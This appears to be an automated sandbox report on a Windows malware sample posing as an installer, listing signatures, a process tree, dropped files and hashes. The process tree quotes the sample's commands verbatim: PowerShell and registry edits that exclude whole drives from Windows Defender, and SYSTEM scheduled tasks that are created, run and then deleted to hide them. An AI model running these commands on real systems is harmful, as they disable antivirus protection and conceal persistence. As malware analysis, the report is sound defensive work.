Analysis

  • max time kernel
    151s
  • max time network
    146s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/08/2026, 14:29

General

  • Target
    insoft_v10.0.15.exe
  • Size 35.0MB
  • Sample260815-rtpmrayxay
  • SHA256 43e5f9117ef6ee0df19e3b00c635ce86f91c368b623251165c25238de87470a0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.15.exe
    "C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.15.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:3396
  • C:\Users\Public\X7SmdJ\YnSd1J.exe
    "C:\Users\Public\X7SmdJ\YnSd1J.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4432
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:900
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\X7SmdJ\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3080
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\X7SmdJ\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2396
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3716
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5112
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:1936
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5148
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:5200
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2632
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2864
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5556
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2356
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1020
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2112
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2876
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1100
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4488
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3332
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:2756
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5292
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1336
                      • C:\Users\Public\X7SmdJ\YnSd1J.exe
                        "C:\Users\Public\X7SmdJ\YnSd1J.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:3508
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\X7SmdJ" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3760
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\X7SmdJ" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:724
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:5616
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1828
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1164
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2340
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4796
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3252
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5100

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\X7SmdJ\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 c77dc165cf3bffb1347d63b6d43a83025436fbac6cc02e38fc906feed31a9fc3
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              YnSd1J.exe

                              • Path C:\Users\Public\X7SmdJ\YnSd1J.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\X7SmdJ\adoresd.dat
                              • Size 4.7MB
                              • SHA256 dfd17fdb61e89e197843a6e6eae4ec1f67fd944d154bf23b7c924bd2f4513c9c
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\X7SmdJ\msadox.tb
                              • Size 8KB
                              • SHA256 7b25298036ebf3c2ef5ccc6a2fe416a86a6d408a3d2a322ffa77d3aff12550b4
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/900-607-0x000001D77AD70000-0x000001D77AD7A000-memory.dmp

                              memory/900-606-0x000001D77ADA0000-0x000001D77AE52000-memory.dmp

                              memory/900-605-0x000001D77AD80000-0x000001D77AD9E000-memory.dmp

                              memory/900-600-0x000001D77AD30000-0x000001D77AD52000-memory.dmp

                              memory/3396-523-0x00000000004D0000-0x00000000004DE000-memory.dmp

                              memory/3396-524-0x00007FF83BBA0000-0x00007FF83BBB2000-memory.dmp

                              memory/3396-503-0x00007FF83BBA0000-0x00007FF83BBB2000-memory.dmp

                              memory/3396-1-0x00000000004E0000-0x00000000004EC000-memory.dmp

                              memory/3396-0-0x00000000004D0000-0x00000000004DE000-memory.dmp

                              memory/3508-578-0x0000020D6B650000-0x0000020D6BED7000-memory.dmp

                              memory/3508-572-0x00007FF824D30000-0x00007FF82524E000-memory.dmp

                              memory/3508-582-0x0000020D6B650000-0x0000020D6BED7000-memory.dmp

                              memory/3508-586-0x00007FF8478F0000-0x00007FF8478F2000-memory.dmp

                              memory/3508-584-0x0000020D6B650000-0x0000020D6BED7000-memory.dmp

                              memory/3508-585-0x0000020D6B650000-0x0000020D6BED7000-memory.dmp

                              memory/3508-583-0x0000020D6B650000-0x0000020D6BED7000-memory.dmp

                              memory/3508-577-0x00007FF847900000-0x00007FF847902000-memory.dmp

                              memory/3508-575-0x0000020D6B650000-0x0000020D6BED7000-memory.dmp

                              memory/4432-555-0x0000028B6CC40000-0x0000028B6CC8E000-memory.dmp

                              memory/4432-556-0x0000028B6F780000-0x0000028B6F80A000-memory.dmp

                              memory/4432-562-0x0000028B6EEF0000-0x0000028B6F777000-memory.dmp

                              memory/4432-564-0x0000028B6EEF0000-0x0000028B6F777000-memory.dmp

                              memory/4432-565-0x0000028B6EEF0000-0x0000028B6F777000-memory.dmp

                              memory/4432-560-0x0000028B6F780000-0x0000028B6F80A000-memory.dmp

                              memory/4432-558-0x0000028B6F780000-0x0000028B6F80A000-memory.dmp

                              memory/4432-542-0x0000028B6EEF0000-0x0000028B6F777000-memory.dmp

                              memory/4432-538-0x0000028B6EEF0000-0x0000028B6F777000-memory.dmp

                              memory/4432-557-0x0000028B6F780000-0x0000028B6F80A000-memory.dmp

                              memory/4432-549-0x0000028B6EEF0000-0x0000028B6F777000-memory.dmp

                              memory/4432-545-0x0000028B6EEF0000-0x0000028B6F777000-memory.dmp

                              memory/4432-544-0x0000028B6EEF0000-0x0000028B6F777000-memory.dmp

                              memory/4432-543-0x0000028B6EEF0000-0x0000028B6F777000-memory.dmp

                              memory/4432-537-0x00007FF847900000-0x00007FF847902000-memory.dmp

                              memory/4432-602-0x0000028B6EEF0000-0x0000028B6F777000-memory.dmp

                              memory/4432-535-0x0000028B6EEF0000-0x0000028B6F777000-memory.dmp

                              memory/4432-530-0x00007FF824D30000-0x00007FF82524E000-memory.dmp

                              memory/4432-529-0x00007FF8478F0000-0x00007FF8478F2000-memory.dmp